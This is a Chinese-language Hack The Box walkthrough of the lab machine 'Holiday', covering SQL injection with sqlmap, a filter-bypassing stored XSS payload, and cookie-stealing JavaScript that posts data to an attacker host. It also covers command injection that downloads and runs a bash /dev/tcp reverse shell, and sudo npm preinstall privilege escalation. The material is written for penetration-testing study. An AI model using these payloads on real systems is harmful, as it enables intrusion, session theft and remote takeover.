HTB-靶机-Holiday

本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.25

本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

执行命令

autorecon 10.10.10.25 -o ./holiday-autorecon

autorecon扫描结果

根据综合性扫描会在指定的位置生成目录,目录下面有各种扫描结果,根据扫描结果来看得知目标开放了两个端口22和8000

关于autorecon的使用方式可参考:https://cloud.tencent.com/developer/article/1514804

我们看下扫描出来的22端口和8000端口的详细信息

翻看了下虽然自动化但是还没发现可利用的地方,此工具使用了dirb进行目录爆破,但是发现并没爆出任何东西,我尝试再爆破目录一下

dirb http://10.10.10.25:8000

最终发现了admin目录,访问下

跳到一个登录界面,试了下弱口令和万能密码,没效果,使用burpsuite抓包通过sqlmap跑一下,跑出来了一个账号和加密的hash密码,

sqlmap -r login-holiday-seq --risk 3 --level 5 --threads 10 -T users --dump --batch

在somd5上破解得出密码为nevergonnagiveyouup 使用此用户名密码登录目标靶机8000端口的web应用

随便点击一个进去

点击了上面的每个按钮,只有Notes可以输入数据进去,丢了几个xss代码,发现被过滤了,经过了一番搜索和测试验证,最终确认目标存在存储型xss,而且需要使用JavaScript函数String.fromCharCode绕过过滤器以运行payload,从而使xss代码被触发,盗取cookie,拿到管理员后台,在测试的过程中发现提交的代码,管理员会每分钟去执行一次,提示信息如下

所以上述的利用场景知道了,我们可以做如下操作步骤进行操作

  • 绕过存储型XSS
payload = '''document.write('<script src="http://10.10.14.4/bmfx.js"></script>');'''
','.join([str(ord(c)) for c in payload])
  • 上述在python2版本中交互式执行得到如下结果:
100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,49,48,46,49,48,46,49,52,46,52,47,98,109,102,120,46,106,115,34,62,60,47,115,99,114,105,112,116,62,39,41,59

  • 最终得出如下payload
<img src="x/><script>eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,49,48,46,49,48,46,49,52,46,52,47,98,109,102,120,46,106,115,34,62,60,47,115,99,114,105,112,116,62,39,41,59));</script>">
  • 文件bmfx.js -- 下面代码通过本地nc监听8822端口确认js代码被执行然后返回数据包,数据包中含有管理员的cookie代码
var url="http://locahost:8000/vac/8dd841ff-3f44-4f2b-9324-9a833e2c6b65";
$.ajax({ method: "GET",url: url,success: function(data)
{ $.post("http://10.10.14.4:8822", data);}});
或者

window.addEventListener('DOMContentLoaded', function(e) {
window.location = "http://10.10.14.4:8822/?cookie=" + encodeURI(document.getElementsByName("cookie")[0].value)
})

得到管理员的cookie之后使用cookie manager插件修改为管理员cookie(这里得到的cookie要看清楚,刚开始没注意细节,需要在burpsuite进行解码方可正常使用)

获得管理员后台

点击了上面功能按钮Bookings和Notes都是下载文件,下载下来是刚才注入测试的内容,根据经验判断可能存在命令注入,通过burpsuite抓包进行测试

试了个&符号还真可以操作,在burpsuite操作需要进行url编码,上面的Bookings和Notes都可以进行命令注入,测试没问题反弹shell进行反弹,发现不成功,经过测试发现需要将IP地址转换为16进制,转换的地方:https://www.browserling.com/tools/ip-to-hex

反弹方式:通过本地编写shell脚本注入代码:

#!/bin/bash

bash -i >& /dev/tcp/10.10.14.4/8833 0>&1

进行反弹shell,明显别写带点的,利用的时候需要转换麻烦,上述代码命名为revbmfx  在burpsuite通过如下类似方式执行

触发反弹shell
GET /admin/export?table=bookings/%26wget+0x0a0a0e04/revbmfx
GET /admin/export?table=bookings/%26bash+revbmfx

成功反弹shell

第一种提权方式

第二种提权方式

可参考:https://github.com/joaojeronimo/rimrafall/blob/master/package.json

大概利用方式就是在目标靶机上新建文件package.json 里面内容如下:

{
    "name": "bmfx",
    "version": "2.0.0",
    "scripts": {
        "preinstall": "/bin/bash"
    }
}

然后在此文件的当前目录下执行

sudo npm i . --unsafe

迷茫的人生,需要不断努力,才能看清远方模糊的志向!
原文地址:https://www.cnblogs.com/autopwn/p/13937954.html